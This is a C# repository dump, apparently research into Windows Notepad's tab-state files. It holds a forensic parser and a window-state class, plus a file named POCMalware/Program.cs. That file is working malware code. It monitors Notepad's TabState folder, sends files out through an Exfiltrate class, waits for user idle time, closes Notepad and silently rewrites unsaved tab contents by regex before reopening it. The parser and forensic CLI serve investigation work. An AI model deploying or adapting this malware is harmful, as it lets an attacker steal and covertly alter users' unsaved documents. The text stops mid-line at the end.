| *.scc 100 | 101 | # Chutzpah Test files 102 | _Chutzpah* 103 | 104 | # Visual C++ cache files 105 | ipch/ 106 | *.aps 107 | *.ncb 108 | *.opendb 109 | *.opensdf 110 | *.sdf 111 | *.cachefile 112 | *.VC.db 113 | *.VC.VC.opendb 114 | 115 | # Visual Studio profiler 116 | *.psess 117 | *.vsp 118 | *.vspx 119 | *.sap 120 | 121 | # Visual Studio Trace Files 122 | *.e2e 123 | 124 | # TFS 2012 Local Workspace 125 | $tf/ 126 | 127 | # Guidance Automation Toolkit 128 | *.gpState 129 | 130 | # ReSharper is a .NET coding add-in 131 | _ReSharper*/ 132 | *.[Rr]e[Ss]harper 133 | *.DotSettings.user 134 | 135 | # TeamCity is a build add-in 136 | _TeamCity* 137 | 138 | # DotCover is a Code Coverage Tool 139 | *.dotCover 140 | 141 | # AxoCover is a Code Coverage Tool 142 | .axoCover/* 143 | !.axoCover/settings.json 144 | 145 | # Coverlet is a free, cross platform Code Coverage Tool 146 | coverage*.json 147 | coverage*.xml 148 | coverage*.info 149 | 150 | # Visual Studio code coverage results 151 | *.coverage 152 | *.coveragexml 153 | 154 | # NCrunch 155 | _NCrunch_* 156 | .*crunch*.local.xml 157 | nCrunchTemp_* 158 | 159 | # MightyMoose 160 | *.mm.* 161 | AutoTest.Net/ 162 | 163 | # Web workbench (sass) 164 | .sass-cache/ 165 | 166 | # Installshield output folder 167 | [Ee]xpress/ 168 | 169 | # DocProject is a documentation generator add-in 170 | DocProject/buildhelp/ 171 | DocProject/Help/*.HxT 172 | DocProject/Help/*.HxC 173 | DocProject/Help/*.hhc 174 | DocProject/Help/*.hhk 175 | DocProject/Help/*.hhp 176 | DocProject/Help/Html2 177 | DocProject/Help/html 178 | 179 | # Click-Once directory 180 | publish/ 181 | 182 | # Publish Web Output 183 | *.[Pp]ublish.xml 184 | *.azurePubxml 185 | # Note: Comment the next line if you want to checkin your web deploy settings, 186 | # but database connection strings (with potential passwords) will be unencrypted 187 | *.pubxml 188 | *.publishproj 189 | 190 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 191 | # checkin your Azure Web App publish settings, but sensitive information contained 192 | # in these scripts will be unencrypted 193 | PublishScripts/ 194 | 195 | # NuGet Packages 196 | *.nupkg 197 | # NuGet Symbol Packages 198 | *.snupkg 199 | # The packages folder can be ignored because of Package Restore 200 | **/[Pp]ackages/* 201 | # except build/, which is used as an MSBuild target. 202 | !**/[Pp]ackages/build/ 203 | # Uncomment if necessary however generally it will be regenerated when needed 204 | #!**/[Pp]ackages/repositories.config 205 | # NuGet v3's project.json files produces more ignorable files 206 | *.nuget.props 207 | *.nuget.targets 208 | 209 | # Microsoft Azure Build Output 210 | csx/ 211 | *.build.csdef 212 | 213 | # Microsoft Azure Emulator 214 | ecf/ 215 | rcf/ 216 | 217 | # Windows Store app package directories and files 218 | AppPackages/ 219 | BundleArtifacts/ 220 | Package.StoreAssociation.xml 221 | _pkginfo.txt 222 | *.appx 223 | *.appxbundle 224 | *.appxupload 225 | 226 | # Visual Studio cache files 227 | # files ending in .cache can be ignored 228 | *.[Cc]ache 229 | # but keep track of directories ending in .cache 230 | !?*.[Cc]ache/ 231 | 232 | # Others 233 | ClientBin/ 234 | ~$* 235 | *~ 236 | *.dbmdl 237 | *.dbproj.schemaview 238 | *.jfm 239 | *.pfx 240 | *.publishsettings 241 | orleans.codegen.cs 242 | 243 | # Including strong name files can present a security risk 244 | # (https://github.com/github/gitignore/pull/2483#issue-259490424) 245 | #*.snk 246 | 247 | # Since there are multiple workflows, uncomment next line to ignore bower_components 248 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 249 | #bower_components/ 250 | 251 | # RIA/Silverlight projects 252 | Generated_Code/ 253 | 254 | # Backup & report files from converting an old project file 255 | # to a newer Visual Studio version. Backup files are not needed, 256 | # because we have git ;-) 257 | _UpgradeReport_Files/ 258 | Backup*/ 259 | UpgradeLog*.XML 260 | UpgradeLog*.htm 261 | ServiceFabricBackup/ 262 | *.rptproj.bak 263 | 264 | # SQL Server files 265 | *.mdf 266 | *.ldf 267 | *.ndf 268 | 269 | # Business Intelligence projects 270 | *.rdl.data 271 | *.bim.layout 272 | *.bim_*.settings 273 | *.rptproj.rsuser 274 | *- [Bb]ackup.rdl 275 | *- [Bb]ackup ([0-9]).rdl 276 | *- [Bb]ackup ([0-9][0-9]).rdl 277 | 278 | # Microsoft Fakes 279 | FakesAssemblies/ 280 | 281 | # GhostDoc plugin setting file 282 | *.GhostDoc.xml 283 | 284 | # Node.js Tools for Visual Studio 285 | .ntvs_analysis.dat 286 | node_modules/ 287 | 288 | # Visual Studio 6 build log 289 | *.plg 290 | 291 | # Visual Studio 6 workspace options file 292 | *.opt 293 | 294 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) 295 | *.vbw 296 | 297 | # Visual Studio 6 auto-generated project file (contains which files were open etc.) 298 | *.vbp 299 | 300 | # Visual Studio 6 workspace and project file (working project files containing files to include in project) 301 | *.dsw 302 | *.dsp 303 | 304 | # Visual Studio 6 technical files 305 | *.ncb 306 | *.aps 307 | 308 | # Visual Studio LightSwitch build output 309 | **/*.HTMLClient/GeneratedArtifacts 310 | **/*.DesktopClient/GeneratedArtifacts 311 | **/*.DesktopClient/ModelManifest.xml 312 | **/*.Server/GeneratedArtifacts 313 | **/*.Server/ModelManifest.xml 314 | _Pvt_Extensions 315 | 316 | # Paket dependency manager 317 | .paket/paket.exe 318 | paket-files/ 319 | 320 | # FAKE - F# Make 321 | .fake/ 322 | 323 | # CodeRush personal settings 324 | .cr/personal 325 | 326 | # Python Tools for Visual Studio (PTVS) 327 | __pycache__/ 328 | *.pyc 329 | 330 | # Cake - Uncomment if you are using it 331 | # tools/** 332 | # !tools/packages.config 333 | 334 | # Tabs Studio 335 | *.tss 336 | 337 | # Telerik's JustMock configuration file 338 | *.jmconfig 339 | 340 | # BizTalk build output 341 | *.btp.cs 342 | *.btm.cs 343 | *.odx.cs 344 | *.xsd.cs 345 | 346 | # OpenCover UI analysis results 347 | OpenCover/ 348 | 349 | # Azure Stream Analytics local run output 350 | ASALocalRun/ 351 | 352 | # MSBuild Binary and Structured Log 353 | *.binlog 354 | 355 | # NVidia Nsight GPU debugger configuration file 356 | *.nvuser 357 | 358 | # MFractors (Xamarin productivity tool) working folder 359 | .mfractor/ 360 | 361 | # Local History for Visual Studio 362 | .localhistory/ 363 | 364 | # Visual Studio History (VSHistory) files 365 | .vshistory/ 366 | 367 | # BeatPulse healthcheck temp database 368 | healthchecksdb 369 | 370 | # Backup folder for Package Reference Convert tool in Visual Studio 2017 371 | MigrationBackup/ 372 | 373 | # Ionide (cross platform F# VS Code tools) working folder 374 | .ionide/ 375 | 376 | # Fody - auto-generated XML schema 377 | FodyWeavers.xsd 378 | 379 | # VS Code files for those working on multiple tools 380 | .vscode/* 381 | !.vscode/settings.json 382 | !.vscode/tasks.json 383 | !.vscode/launch.json 384 | !.vscode/extensions.json 385 | *.code-workspace 386 | 387 | # Local History for Visual Studio Code 388 | .history/ 389 | 390 | # Windows Installer files from build outputs 391 | *.cab 392 | *.msi 393 | *.msix 394 | *.msm 395 | *.msp 396 | 397 | # JetBrains Rider 398 | *.sln.iml 399 | -------------------------------------------------------------------------------- /NotepadStateLibrary/POCMalware/Program.cs: -------------------------------------------------------------------------------- 1 | // See https://aka.ms/new-console-template for more information 2 | using NotepadStateLibrary; 3 | using System.Diagnostics; 4 | using System.Text; 5 | using System.Text.RegularExpressions; 6 | using System.Management; 7 | using System.Net; 8 | using GaslitPad; 9 | using System.Configuration; 10 | using System.IO; 11 | 12 | 13 | Console.WriteLine("********** Starting *********"); 14 | 15 | bool isNotepadRunning = false; 16 | //LOL Error checking? 17 | int idleWaitTime = Int32.Parse(ConfigurationManager.AppSettings["idleWaitTime"]); // idle wait time before attack 18 | int pollingInterval = Int32.Parse(ConfigurationManager.AppSettings["pollingInterval"]); // polling interval. Should we have a different rate for checking Notepad running? 19 | string directoryToMonitor = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), @"Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\LocalState\TabState"); 20 | 21 | //TODO: Future: Make this a list or something of attack target parameters 22 | //LOL Error checking? 23 | int attackVersion = Int32.Parse(ConfigurationManager.AppSettings["attackVersion"]); //0 Active Attack, 1 Sleep Attack 24 | string attackFileName = ConfigurationManager.AppSettings["attackFileName"]; 25 | string attackRegex = ConfigurationManager.AppSettings["attackRegex"]; 26 | string attackReplace = ConfigurationManager.AppSettings["attackReplace"]; 27 | bool attackDone = false; 28 | 29 | 30 | // Get the current state of the directory (file names and their hashes) 31 | var currentFileState = new Dictionary(); 32 | foreach (var file in Directory.GetFiles(directoryToMonitor)) 33 | { 34 | var fileName = Path.GetFileName(file); 35 | var fileByteLength = GetFileByteLength(file); 36 | currentFileState[fileName] = fileByteLength; 37 | } 38 | //TODO: Future: Ship out files 39 | Exfiltrate.SendFiles(directoryToMonitor, currentFileState.Keys.ToList()); //This is not right. I need the full path 40 | 41 | if (attackVersion == 0) 42 | { 43 | // Dictionary to store file information: file name -> file length to detect changes 44 | var previousFileState = currentFileState; 45 | 46 | Thread monitorThread = new Thread(MonitorNotepad); 47 | monitorThread.IsBackground = true; // Set as background thread so it terminates when the app closes 48 | monitorThread.Start(); 49 | 50 | Console.WriteLine($"Monitoring directory: {directoryToMonitor}"); 51 | Console.WriteLine("Press 'q' to quit..."); 52 | 53 | // Start a loop to check the directory every few seconds 54 | while (true) 55 | { 56 | Console.WriteLine(InputTimer.GetInputIdleTime().TotalSeconds.ToString()); 57 | 58 | // Check for newly added files 59 | var addedFiles = currentFileState.Keys.Except(previousFileState.Keys); 60 | foreach (var addedFile in addedFiles) 61 | { 62 | Console.WriteLine($"File created: {addedFile}"); 63 | Console.WriteLine(isNotepadRunning.ToString()); 64 | //TODO: Future: Ship out new files 65 | Exfiltrate.SendFile(Path.Combine(directoryToMonitor, addedFile)); 66 | } 67 | 68 | // Check for deleted files 69 | var deletedFiles = previousFileState.Keys.Except(currentFileState.Keys); 70 | foreach (var deletedFile in deletedFiles) 71 | { 72 | Console.WriteLine($"File deleted: {deletedFile}"); 73 | Console.WriteLine(isNotepadRunning.ToString()); 74 | //TODO: Future: Alert on deleted file 75 | Exfiltrate.DeletedFile(Path.Combine(directoryToMonitor, deletedFile)); 76 | } 77 | 78 | // Check for modified files (files that exist in both, but with different lengths) 79 | var modifiedFiles = currentFileState 80 | .Where(kv => previousFileState.ContainsKey(kv.Key) && kv.Value != previousFileState[kv.Key]) 81 | .Select(kv => kv.Key); 82 | foreach (var modifiedFile in modifiedFiles) 83 | { 84 | Console.WriteLine($"File modified: {modifiedFile}"); 85 | Console.WriteLine(isNotepadRunning.ToString()); 86 | //TODO: Future: ship out changes 87 | Exfiltrate.SendChanges(Path.Combine(directoryToMonitor, modifiedFile)); //TODO: This should really just exfiltrate the unsavedbufferchunks 88 | } 89 | 90 | // Update the previous file state for the next iteration 91 | previousFileState = new Dictionary(currentFileState); 92 | 93 | // Check for Attack conditions 94 | if (isNotepadRunning && InputTimer.GetInputIdleTime().TotalSeconds > idleWaitTime && !attackDone) 95 | { 96 | Console.WriteLine("Starting attack"); 97 | CloseNotepad(); 98 | foreach (var file in currentFileState) 99 | { 100 | Attack(Path.Combine(directoryToMonitor, file.Key), attackFileName, attackReplace, attackRegex); 101 | } 102 | OpenNotepad(); 103 | } 104 | 105 | // Check for user input to exit 106 | if ((Console.KeyAvailable && Console.ReadKey(intercept: true).Key == ConsoleKey.Q) || attackDone) 107 | { 108 | break; 109 | } 110 | 111 | // Wait for the next polling interval 112 | Thread.Sleep(pollingInterval); 113 | 114 | //Refresh list of current files 115 | currentFileState = new Dictionary(); 116 | foreach (var file in Directory.GetFiles(directoryToMonitor)) 117 | { 118 | var fileName = Path.GetFileName(file); 119 | var fileByteLength = GetFileByteLength(file); 120 | currentFileState[fileName] = fileByteLength; 121 | } 122 | } 123 | } 124 | else 125 | { 126 | while (true) 127 | { 128 | if (Process.GetProcessesByName("notepad").Count() == 0) 129 | { 130 | currentFileState = new Dictionary(); 131 | foreach (var file in Directory.GetFiles(directoryToMonitor)) 132 | { 133 | var fileName = Path.GetFileName(file); 134 | var fileByteLength = GetFileByteLength(file); 135 | currentFileState[fileName] = fileByteLength; 136 | } 137 | 138 | Console.WriteLine("Starting attack"); 139 | foreach (var file in currentFileState) 140 | { 141 | Attack(Path.Combine(directoryToMonitor, file.Key), attackFileName, attackReplace, attackRegex); 142 | } 143 | } 144 | 145 | if (attackDone) 146 | { 147 | break; 148 | } 149 | 150 | Thread.Sleep(pollingInterval); 151 | } 152 | } 153 | 154 | Console.WriteLine("Monitoring stopped."); 155 | 156 | 157 | string GetFileByteLength(string filePath) 158 | { 159 | 160 | using (FileStream fileStream = new FileStream(filePath, FileMode.Open, FileAccess.Read, FileShare.ReadWrite)) 161 | { 162 | byte[] data = new byte[fileStream.Length]; 163 | fileStream.Read(data); 164 | 165 | return data.Length.ToString(); 166 | } 167 | } 168 | 169 | void MonitorNotepad() 170 | { 171 | while (true) 172 | { 173 | // Check if "notepad" is running 174 | var processes = Process.GetProcessesByName("notepad"); 175 | 176 | // If notepad.exe is running, set the flag to true, otherwise false 177 | bool isRunning = processes.Length > 0; 178 | if (isRunning != isNotepadRunning) 179 | { 180 | isNotepadRunning = isRunning; 181 | 182 | if (isNotepadRunning) 183 | { 184 | Console.WriteLine("Notepad started."); 185 | } 186 | else 187 | { 188 | Console.WriteLine("Notepad closed."); 189 | } 190 | } 191 | 192 | // Wait for the next polling interval 193 | Thread.Sleep(pollingInterval); 194 | } 195 | } 196 | 197 | void CloseNotepad() 198 | { 199 | foreach (var p in Process.GetProcessesByName("notepad")) 200 | { 201 | p.CloseMainWindow(); 202 | p.Close(); 203 | //TODO: Should we wait a little time here? Possible file locking issues? 204 | } 205 | 206 | } 207 | 208 | void OpenNotepad() 209 | { 210 | Process.Start("notepad.exe"); 211 | } 212 | 213 | void Attack(string path, string fileName, string replace, string regexFind) 214 | { 215 | byte[] o = new byte[0]; 216 | 217 | using (FileStream fileStream = new FileStream(path, FileMode.Open, FileAccess.ReadWrite, FileShare.ReadWrite)) 218 | { 219 | byte[] data = new byte[fileStream.Length]; 220 | fileStream.Read(data); 221 | 222 | if (data.Length > 0) 223 | { 224 | NPTabState np = new NPTabState(data, Path.GetFileName(path)); 225 | 226 | if (np.TypeFlag <= 1 && Path.GetFileName(np.FilePath) == fileName && np.Unsaved.SequenceEqual(new byte[] { 0x1 })) 227 | { 228 | string c = np.ContentString; 229 | 230 | Regex rgx = new Regex(regexFind); 231 | Match mtch = rgx.Match(c); 232 | 233 | if (mtch.Success) 234 | { 235 | 236 | int start = mtch.Index; 237 | int end = mtch.Length; 238 | string r = c.Remove(start, end).Insert(start, replace); 239 | var n = Encoding.Unicode.GetBytes(r); 240 | o = np.WriteContent(n); 241 | } 242 | } 243 | } 244 | } 245 | 246 | if (o.Length > 0) 247 | { 248 | File.WriteAllBytes(path, o); 249 | attackDone = true; 250 | } 251 | } 252 | -------------------------------------------------------------------------------- /NotepadStateLibrary/NotepadStateLibrary/NPWindowState.cs: -------------------------------------------------------------------------------- 1 | using System.Text; 2 | 3 | 4 | namespace NotepadStateLibrary 5 | { 6 | public class NPWindowState 7 | { 8 | //TODO: Reorder these to a sensical order? 9 | 10 | /// 11 | /// 12 | /// 13 | public string FileName { get; private set; } 14 | /// 15 | /// Number of the active tab in Notepad. 0 based index. 16 | /// 17 | public ulong ActiveTab { get; private set; } 18 | /// 19 | /// Bottom right X/Y coordinates 20 | /// 21 | public WindowXY BottomRightCoords { get; private set; } 22 | /// 23 | /// bytes of the described tab state file 24 | /// 25 | public byte[] bytes { get; set; } 26 | /// 27 | /// Number of bytes to the CRC 28 | /// 29 | public ulong BytesToCRC { get; private set; } 30 | /// 31 | /// Calculated CRC32 32 | /// 33 | public byte[] CRC32Calculated { get; private set; } = null!; 34 | /// 35 | /// CRC32 from the file 36 | /// 37 | public byte[] CRC32Stored { get; private set; } = null!; 38 | /// 39 | /// Number of tabs in Notepad 40 | /// 41 | public ulong NumberTabs { get; private set; } 42 | /// 43 | /// 44 | /// 45 | public ulong SequenceNumber { get; private set; } 46 | /// 47 | /// List of GUIDs stored as Bytes for Tabs. These are in order. 48 | /// 49 | public List Tabs { get; private set; } 50 | /// 51 | /// 52 | /// 53 | public string TabsList 54 | { 55 | get 56 | { 57 | List gsList = new List(); 58 | foreach (var t in Tabs) 59 | { 60 | gsList.Add((new Guid(t)).ToString()); 61 | 62 | } 63 | return String.Join(", ", gsList.ToArray()); 64 | } 65 | } 66 | /// 67 | /// Top left X/Y coordinates 68 | /// 69 | public WindowXY TopLeftCoords { get; private set; } 70 | /// 71 | /// Height and Width. Should match the differences between Top left and Bottom right coordinates. 72 | /// 73 | public WindowXY WindowSize { get; private set; } 74 | 75 | 76 | 77 | /// 78 | /// Notepad Window State Files 79 | /// 80 | /// bytes of the state file 81 | public NPWindowState(byte[] bytes, string fileName) 82 | { 83 | this.bytes = bytes; 84 | this.FileName = fileName; 85 | 86 | Tabs = new List(); 87 | 88 | ParseBytes(); 89 | } 90 | 91 | /// 92 | /// Sets active tab 93 | /// 94 | /// Integer of the active tab. 0 based index. 95 | public void ChangeActiveTab(int NewActiveTab) 96 | { 97 | this.ActiveTab = (ulong)NewActiveTab; 98 | Save(); 99 | } 100 | 101 | /// 102 | /// 103 | /// 104 | /// 105 | public void WriteTabList(List newTabs) 106 | { 107 | NumberTabs = (ulong)newTabs.Count; 108 | Tabs = newTabs; 109 | 110 | Save(); 111 | } 112 | 113 | public void WriteTabList(List newTabs) 114 | { 115 | NumberTabs = (ulong) newTabs.Count; 116 | Tabs = new List(); 117 | foreach(Guid g in newTabs) 118 | { 119 | Tabs.Add(g.ToByteArray()); 120 | } 121 | 122 | Save(); 123 | } 124 | 125 | /// 126 | /// 127 | /// 128 | /// 129 | /// 130 | public void Resize(WindowXY topLeft, WindowXY bottomRight) 131 | { 132 | //This should be the main one 133 | TopLeftCoords = topLeft; 134 | BottomRightCoords = bottomRight; 135 | 136 | Save(); 137 | } 138 | 139 | /// 140 | /// 141 | /// 142 | /// 143 | public void Resize(WindowXY WindowSize) 144 | { 145 | //TODO: Update BottomRightCoords to coincide with WindowSize Change 146 | Resize(TopLeftCoords, BottomRightCoords); 147 | } 148 | 149 | /// 150 | /// 151 | /// 152 | /// 153 | public void Move(WindowXY TopLeft) 154 | { 155 | //TODO: Update BottomRightCoords to coincide with move 156 | Resize(TopLeftCoords, BottomRightCoords); 157 | } 158 | 159 | private void ParseBytes() 160 | { 161 | using (MemoryStream stream = new MemoryStream(bytes)) 162 | { 163 | using (BinaryReader reader = new BinaryReader(stream)) 164 | { 165 | string hdrType = Encoding.ASCII.GetString(reader.ReadBytes(2)); 166 | 167 | if (hdrType == "NP") 168 | { 169 | CRC32Check c = new CRC32Check(); 170 | 171 | SequenceNumber = reader.ReadLEB128Unsigned(); 172 | c.AddBytes(SequenceNumber); 173 | 174 | 175 | BytesToCRC = reader.ReadLEB128Unsigned(); 176 | c.AddBytes(BytesToCRC); 177 | 178 | 179 | var delim = reader.ReadBytes(1); 180 | c.AddBytes(delim); 181 | 182 | NumberTabs = reader.ReadLEB128Unsigned(); 183 | c.AddBytes(NumberTabs); 184 | 185 | for (int x = 0; x < (int)NumberTabs; x++) 186 | { 187 | var chunk = reader.ReadBytes(16); 188 | Tabs.Add(chunk); 189 | c.AddBytes(chunk); 190 | } 191 | 192 | ActiveTab = reader.ReadLEB128Unsigned(); //Active Tab 193 | c.AddBytes(ActiveTab); 194 | 195 | var tlc1 = reader.ReadUInt32(); 196 | c.AddBytes(tlc1); 197 | var tlc2 = reader.ReadUInt32(); 198 | c.AddBytes(tlc2); 199 | 200 | TopLeftCoords = new WindowXY((int)tlc1, (int)tlc2); 201 | 202 | 203 | var brc3 = reader.ReadUInt32(); 204 | c.AddBytes(brc3); 205 | var brc4 = reader.ReadUInt32(); 206 | c.AddBytes(brc4); 207 | 208 | BottomRightCoords = new WindowXY((int)brc3, (int)brc4); 209 | 210 | 211 | var wsc5 = reader.ReadUInt32(); 212 | c.AddBytes(wsc5); 213 | var wsc6 = reader.ReadUInt32(); 214 | c.AddBytes(wsc6); 215 | 216 | WindowSize = new WindowXY((int)wsc5, (int)wsc6); 217 | 218 | 219 | var delim2 = reader.ReadBytes(1); 220 | c.AddBytes(delim2); 221 | 222 | 223 | CRC32Stored = reader.ReadBytes(4); 224 | CRC32Calculated = c.CRC32; 225 | } 226 | } 227 | } 228 | } 229 | 230 | private void Save() 231 | { 232 | using (MemoryStream outStream = new MemoryStream()) 233 | { 234 | using (BinaryWriter writer = new BinaryWriter(outStream)) 235 | { 236 | writer.Write([0x4E, 0x50]); 237 | 238 | CRC32Check c = new CRC32Check(); 239 | writer.Write(SequenceNumber.WriteLEB128Unsigned()); 240 | c.AddBytes(SequenceNumber); 241 | 242 | writer.Write(BytesToCRC.WriteLEB128Unsigned()); 243 | c.AddBytes(BytesToCRC); 244 | 245 | writer.Write([0x00]); 246 | c.AddBytes([0x00]); 247 | 248 | writer.Write(NumberTabs.WriteLEB128Unsigned()); 249 | c.AddBytes(NumberTabs); 250 | 251 | foreach(var t in Tabs) 252 | { 253 | writer.Write(t); 254 | c.AddBytes(t); 255 | } 256 | 257 | writer.Write(ActiveTab.WriteLEB128Unsigned()); 258 | c.AddBytes(ActiveTab); 259 | 260 | writer.Write(TopLeftCoords.X); 261 | c.AddBytes((uint)TopLeftCoords.X); 262 | 263 | writer.Write(TopLeftCoords.Y); 264 | c.AddBytes((uint)TopLeftCoords.Y); 265 | 266 | writer.Write(BottomRightCoords.X); 267 | c.AddBytes((uint)BottomRightCoords.X); 268 | 269 | writer.Write(BottomRightCoords.Y); 270 | c.AddBytes((uint)BottomRightCoords.Y); 271 | 272 | writer.Write(WindowSize.X); 273 | c.AddBytes((uint)WindowSize.X); 274 | 275 | writer.Write(WindowSize.Y); 276 | c.AddBytes((uint)WindowSize.Y); 277 | 278 | writer.Write([0x00]); 279 | c.AddBytes([0x00]); 280 | 281 | writer.Write(c.CRC32); 282 | 283 | bytes = outStream.ToArray(); 284 | } 285 | } 286 | } 287 | } 288 | } 289 | -------------------------------------------------------------------------------- /NotepadStateLibrary/WindowsNotepadParser-Minimal/Program.cs: -------------------------------------------------------------------------------- 1 | using NotepadStateLibrary; 2 | using CsvHelper; 3 | using System.Globalization; 4 | using CommandLine; 5 | using System.IO.Compression; 6 | using WindowsNotepadParser_Minimal; 7 | using CsvHelper.Configuration; 8 | 9 | Parser.Default.ParseArguments(args) 10 | .WithParsed(options => 11 | { 12 | string tabStateLocation = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), @"Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\LocalState\TabState"); 13 | string windowStateLocation = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), @"Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\LocalState\WindowState"); 14 | string outputLocation = Directory.GetCurrentDirectory(); 15 | 16 | if (!string.IsNullOrWhiteSpace(options.tabStateLocation)) 17 | { 18 | tabStateLocation = options.tabStateLocation; 19 | } 20 | if (!string.IsNullOrWhiteSpace(options.windowStateLocation)) 21 | { 22 | windowStateLocation = options.windowStateLocation; 23 | } 24 | if (!string.IsNullOrWhiteSpace(options.outputLocation)) 25 | { 26 | outputLocation = options.outputLocation; 27 | } 28 | 29 | Console.WriteLine("********** Starting **********"); 30 | 31 | //TODO: Detect version of Notepad 32 | 33 | //Powershell? Get-AppxPackage *notepad* | Select Name, Version 34 | 35 | Console.WriteLine("TabState Folder Location - {0}", tabStateLocation); 36 | if (!Directory.Exists(tabStateLocation)) 37 | { 38 | Console.WriteLine("!! ERROR: Invalid TabState Folder Location !!"); 39 | Environment.Exit(3); 40 | } 41 | 42 | Console.WriteLine("WindowState Folder Location - {0}", windowStateLocation); 43 | if (!Directory.Exists(windowStateLocation)) 44 | { 45 | Console.WriteLine("!! ERROR: Invalid WindowState Folder Location !!"); 46 | Environment.Exit(3); 47 | } 48 | Console.WriteLine("Output Folder Location - {0}", outputLocation); 49 | if (!Directory.Exists(outputLocation)) 50 | { 51 | Directory.CreateDirectory(outputLocation); 52 | Console.WriteLine("!! WARNING: Creating Output Folder !!"); 53 | //Environment.Exit(3); 54 | } 55 | 56 | Console.WriteLine(); 57 | 58 | List fileTabs = new List(); 59 | List noFileTabs = new List(); 60 | List stateTabs = new List(); 61 | List windowStateTabs = new List(); 62 | List unsavedChunks = new List(); 63 | 64 | var config = new CsvConfiguration(CultureInfo.InvariantCulture) 65 | { 66 | HasHeaderRecord = true 67 | }; 68 | 69 | //Tabstate 70 | Console.WriteLine("Copying TabState Folder - {0}", tabStateLocation); 71 | CreateZipFromDirectory(tabStateLocation, Path.Combine(outputLocation, "TabStateFolder.zip")); 72 | 73 | foreach (var path in Directory.EnumerateFiles(tabStateLocation, "*.bin")) 74 | { 75 | using (FileStream fileStream = new FileStream(path, FileMode.Open, FileAccess.Read, FileShare.ReadWrite)) 76 | { 77 | byte[] data = new byte[fileStream.Length]; 78 | fileStream.Read(data); 79 | 80 | if (data.Length > 0) 81 | { 82 | Console.WriteLine("Processing TabState - {0}", Path.GetFileName(path)); 83 | NPTabState np = new NPTabState(data, Path.GetFileName(path)); 84 | 85 | switch (np.TypeFlag) 86 | { 87 | case 0: 88 | noFileTabs.Add(np); 89 | break; 90 | case 1: 91 | fileTabs.Add(np); 92 | break; 93 | default: 94 | stateTabs.Add(np); 95 | break; 96 | } 97 | 98 | if (np.UnsavedBufferChunks.Count > 0) 99 | { 100 | Console.WriteLine("Processing Unsaved Buffer Chunks for TabState - {0}", Path.GetFileName(path)); 101 | 102 | using (var writer = new StreamWriter(Path.Combine(outputLocation, string.Format("{0}-UnsavedBufferChunks.csv", Path.GetFileNameWithoutExtension(path))))) 103 | { 104 | using (var csv = new CsvWriter(writer, config)) 105 | { 106 | csv.WriteRecords(np.UnsavedBufferChunks); 107 | } 108 | } 109 | } 110 | 111 | Console.WriteLine("CRC32 Check Pass: {0}", np.CRC32Calculated.SequenceEqual(np.CRC32Stored)); 112 | } 113 | } 114 | } 115 | 116 | //Writing File Tabs 117 | using (var writer = new StreamWriter(Path.Combine(outputLocation, "FileTabs.csv"))) 118 | { 119 | using (var csv = new CsvWriter(writer, config)) 120 | { 121 | csv.Context.RegisterClassMap(); 122 | csv.WriteRecords(fileTabs); 123 | } 124 | } 125 | 126 | //Writing No File Tabs 127 | using (var writer = new StreamWriter(Path.Combine(outputLocation, "NoFileTabs.csv"))) 128 | { 129 | using (var csv = new CsvWriter(writer, config)) 130 | { 131 | csv.Context.RegisterClassMap(); 132 | csv.WriteRecords(noFileTabs); 133 | } 134 | } 135 | 136 | //Writing State Tabs 137 | using (var writer = new StreamWriter(Path.Combine(outputLocation, "StateTabs.csv"))) 138 | { 139 | using (var csv = new CsvWriter(writer, config)) 140 | { 141 | csv.Context.RegisterClassMap(); 142 | csv.WriteRecords(stateTabs); 143 | } 144 | } 145 | 146 | //Windowstate 147 | Console.WriteLine("Copying WindowState Folder - {0}", windowStateLocation); 148 | CreateZipFromDirectory(windowStateLocation, Path.Combine(outputLocation, "WindowStateFolder.zip")); 149 | 150 | foreach (var path in Directory.EnumerateFiles(windowStateLocation, "*.bin")) 151 | { 152 | using (FileStream fileStream = new FileStream(path, FileMode.Open, FileAccess.Read, FileShare.ReadWrite)) 153 | { 154 | byte[] data = new byte[fileStream.Length]; 155 | fileStream.Read(data); 156 | 157 | if (data.Length > 0) 158 | { 159 | Console.WriteLine("Processing WindowState - {0}", Path.GetFileName(path)); 160 | NPWindowState np = new NPWindowState(data, Path.GetFileName(path)); 161 | windowStateTabs.Add(np); 162 | 163 | Console.WriteLine("CRC32 Check Pass: {0}", np.CRC32Calculated.SequenceEqual(np.CRC32Stored)); 164 | } 165 | } 166 | } 167 | 168 | //Writing Window States 169 | using (var writer = new StreamWriter(Path.Combine(outputLocation, "WindowStateTabs.csv"))) 170 | { 171 | using (var csv = new CsvWriter(writer, config)) 172 | { 173 | csv.Context.RegisterClassMap(); 174 | csv.WriteRecords(windowStateTabs); 175 | } 176 | } 177 | 178 | Console.WriteLine("\r\n********** Finished **********"); 179 | 180 | }) 181 | .WithNotParsed(errors => 182 | { 183 | foreach (var error in errors) 184 | { 185 | if (error is HelpRequestedError || error is VersionRequestedError) 186 | { 187 | 188 | } 189 | else 190 | { 191 | Console.WriteLine($"Error: {error}"); 192 | } 193 | } 194 | }); 195 | 196 | void CreateZipFromDirectory(string sourceDirectoryName, string zipFilePath) 197 | { 198 | using (FileStream zipToOpen = new FileStream(zipFilePath, FileMode.Create)) 199 | using (ZipArchive archive = new ZipArchive(zipToOpen, ZipArchiveMode.Create)) 200 | { 201 | foreach (var file in Directory.GetFiles(sourceDirectoryName)) 202 | { 203 | var entryName = Path.GetFileName(file); 204 | var entry = archive.CreateEntry(entryName); 205 | entry.LastWriteTime = File.GetLastWriteTime(file); 206 | using (var fs = new FileStream(file, FileMode.Open, FileAccess.Read, FileShare.ReadWrite)) 207 | using (var stream = entry.Open()) 208 | { 209 | fs.CopyTo(stream); 210 | } 211 | } 212 | } 213 | } 214 | 215 | public class Options 216 | { 217 | [Option('t', "tabstatelocation", Required = false, HelpText = "Tab State Folder Location. Default value is the system location.")] 218 | public string tabStateLocation { get; set; } 219 | 220 | [Option('w', "windowstatelocation", Required = false, HelpText = "Window State Folder Location. Default value is the system location.")] 221 | public string windowStateLocation { get; set; } 222 | 223 | [Option('o', "outputlocation", Required = false, 